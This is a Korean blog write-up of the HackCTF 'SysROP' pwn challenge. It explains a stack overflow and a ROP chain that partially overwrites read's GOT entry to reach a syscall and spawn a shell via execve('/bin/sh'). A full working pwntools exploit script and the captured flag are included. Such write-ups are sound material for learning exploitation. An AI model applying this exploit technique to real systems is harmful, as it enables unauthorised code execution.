-
SysROPCTF/HackCTF 2021. 2. 5. 20:08
Disassembly 디스어셈블리
undefined8 main(void) { void *buf; setvbuf(_reloc.stdout, 0, 2, 0); setvbuf(_reloc.stdin, 0, 2, 0); read(0, &buf, 0x78); return 0; }
main에서 read를 통해 0x78바이트만큼 입력받아 스택 버퍼 오버플로우가 발생한다.
Return Oriented Programming
NX bit가 걸려있고, system 함수나 syscall 가젯이 없으며, 라이브러리 주소를 leak할 수 있는 함수도 없다.
바이너리에 rax, rdi, rsi, rdx를 제어할 수 있는 가젯이 있으므로 syscall만 확보하면 원하는 시스템 콜을 자유자재로 호출할 수 있을 것이다.
라이브러리의 read 함수가 시스템 콜을 사용한다는 점에 착안해보자.
문제에서 주어진 라이브러리 파일을 gdb를 통해 분석하면 <read+14>에 syscall이 위치한다.
libc base address는 마지막 바이트가 0x00으로 고정이고, read의 offset이 0xf7250이므로 read의 got는 마지막 바이트가 0x50일 것이다. ROP를 통해 마지막 바이트를 0x5e로 바꾼다면 read를 통해 syscall을 사용할 수 있다.
따라서 .bss 영역에 binsh 문자열을 덮어쓴 다음 syscall을 통해 execve("/bin/sh", 0, 0)을 호출하면 문제를 해결할 수 있다.
Code
더보기from pwn import * binary = "./sysrop" server = "ctf.j0n9hyun.xyz" port = 3024 # context.log_level = 'debug' context.binary = binary if True: p = remote(server, port) else: p = process(binary) gdb.attach(p) e = ELF(binary) r = ROP(e) e.checksec() prax = (r.find_gadget(['pop rax', 'pop rdx', 'pop rdi', 'pop rsi', 'ret']))[0] main = 0x4005f2 read_plt = e.plt["read"] read_got = e.got["read"] bss = e.bss() + 0x800 payload = b"A"*0x18 payload += p64(prax) payload += p64(0) + p64(0x8) + p64(0) + p64(bss) payload += p64(read_plt) payload += p64(main) payload += b"A"*(0x78-len(payload)) p.send(payload) p.send("/bin/sh\x00") payload = b"A"*0x18 payload += p64(prax) payload += p64(0) + p64(0x1) + p64(0) + p64(read_got) payload += p64(read_plt) payload += p64(prax) payload += p64(0x3b) + p64(0) + p64(bss) + p64(0) payload += p64(read_plt) p.send(payload) p.send("\x5e") p.interactive()
Flag
HackCTF{D0_y0u_Kn0w_sysc411?}
'CTF > HackCTF' 카테고리의 다른 글
Beginner_Heap (0) 2021.02.09 j0n9hyun's secret (0) 2021.02.07 Pwning (0) 2021.02.05 Unexploitable #3 (0) 2021.02.05 babyfsb (0) 2021.02.05